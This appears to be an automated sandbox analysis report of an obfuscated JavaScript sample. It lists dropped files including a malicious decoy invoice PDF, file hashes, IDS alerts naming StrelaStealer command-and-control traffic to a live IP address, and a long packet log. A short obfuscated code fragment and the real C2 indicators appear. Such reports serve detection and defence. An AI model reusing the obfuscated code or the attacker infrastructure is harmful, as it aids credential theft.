Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\48f07902-0174-4523-8fd7-bfd6a6ff7953.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLgGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLgGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A8E5C37206C98D1B655FF994A420FFB6
SHA1:	827237782AB5971EC205C3BCECCC7950BE9F84C3
SHA-256:	F1F755059AF7C2CBC36920337941AEFB18FBDB3CD14D3239CBBBCF0CB8F208EA
SHA-512:	12DE33EB7624458AEC44D83D4E2C09E626F8E54E177FC0C26EEBA232935F34FAAAEB71FBB025EB7C53BEA9933C46ADCE759C32516D1B80C03B6734C61D61CEB2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5ae696fa-7563-4443-bda3-ba730b3740fa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\66f49526-fba4-414a-909d-711ba4f7a275.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17839), with CRLF line terminators
Entropy (8bit):	4.892432240378234
TrID:
File name:	2949911514285745182.js
File size:	21'215 bytes
MD5:	b445527ce7ee32b9653b92d2cbad58db
SHA1:	d1c212060cbac5ab69c0a6b4798d09405f51799f
SHA256:	fc572b4ce5a870c3b62e64971ea73edded5c7881d63272bedbf1841ba79c6d5d
SHA512:	e42e8ed782b338e4d048720be2a9bd9dad8e71553c2e225dc5e2d16799fdabc6c798acc9197a6e8712d18cf33f585fd0066fdee74ee009e893bcdc63f912d803
SSDEEP:	384:hJ98TbGn6u5nsAeU6fj9NDFMd2H9fWRxtZusA+er0q1NMnjVlfE0OqB5XDU:X9Wu3nnA0OqB2
TLSH:	DD925F84CC1994DA4FF4EAF6CB9284D623341086E7A1D5CFA8A006C82799DB5E5FF47C
File Content Preview:	function pluyrattj(){lixcxtqfz=[1031,3079,5127,4103,2055,3072];var ehkakgask=this[otttx+beoio+cnwfrczyg+hsieba+foqtzrl+kvewl+kvmmdls+uruuhk](this[rjbbi+mnbkv+eqxffc+cnwfrczyg+iwjrkxxt+otttx+uruuhk][estvhxvy+cnwfrczyg+foqtzrl+beoio+uruuhk+foqtzrl+npsluer+y

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:35:13.696710+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49711	193.143.1.205	80	TCP
2025-01-11T04:35:13.696710+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49711	193.143.1.205	80	TCP
2025-01-11T04:35:16.197232+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49729	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:35:12.884766102 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:12.889731884 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:12.889823914 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:12.892957926 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:12.897768974 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696557045 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696603060 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696621895 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696710110 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.696773052 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696795940 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696821928 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.696873903 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696892977 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696911097 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696948051 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696968079 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.696990013 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.697103024 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.747545958 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.747579098 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.747595072 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.747766018 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.820570946 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.820593119 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.820612907 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.820653915 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.820753098 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.820766926 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.821059942 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.821060896 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.821079969 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.821098089 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.821119070 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.821325064 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.821362019 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.821415901 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.821453094 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.821470976 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.821480036 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.821872950 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.821913958 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.821954012 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.821986914 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.822021008 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.822036028 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.822088003 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.822144985 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.822798014 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.822815895 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.822864056 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.822880030 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.822920084 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.822925091 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.822938919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.823199987 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.836709023 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.872791052 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.872834921 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.872869015 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.872904062 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.872937918 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.872977972 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.909842014 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.909862041 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.910051107 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.944845915 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.944856882 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.944874048 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.944926023 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.944935083 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.944938898 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.944994926 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.945019960 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.945103884 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.945113897 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.945143938 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.945187092 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.945249081 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.945257902 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.945275068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.945318937 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.945422888 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.945694923 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.945830107 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.945858955 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.945867062 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.945943117 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.946022034 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.946032047 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.946109056 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.946373940 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.946423054 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.946425915 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.946434021 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.946541071 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.946589947 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.946599960 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.946616888 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.946712971 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.947041035 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.947051048 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.947074890 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.947113037 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.947137117 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.947196960 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.947206020 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.947221041 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.947231054 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.947309971 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.947335958 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.948023081 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.948033094 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.948049068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.948098898 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.948132038 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.948139906 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.948156118 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.948163986 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.948167086 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.948189020 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.948234081 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.962179899 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.962198973 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.962234020 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.962277889 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.997040033 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.997081041 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.997103930 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.997189045 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.997212887 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.997222900 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.997298002 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:13.997356892 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.997375011 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:13.998382092 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.034007072 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.034100056 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.034106970 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.034142017 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.034149885 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.034230947 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.034230947 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.068770885 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.068815947 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.068835020 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.068916082 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.068949938 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.068970919 CET	80	49711	193.143.1.205	192.168.2.10
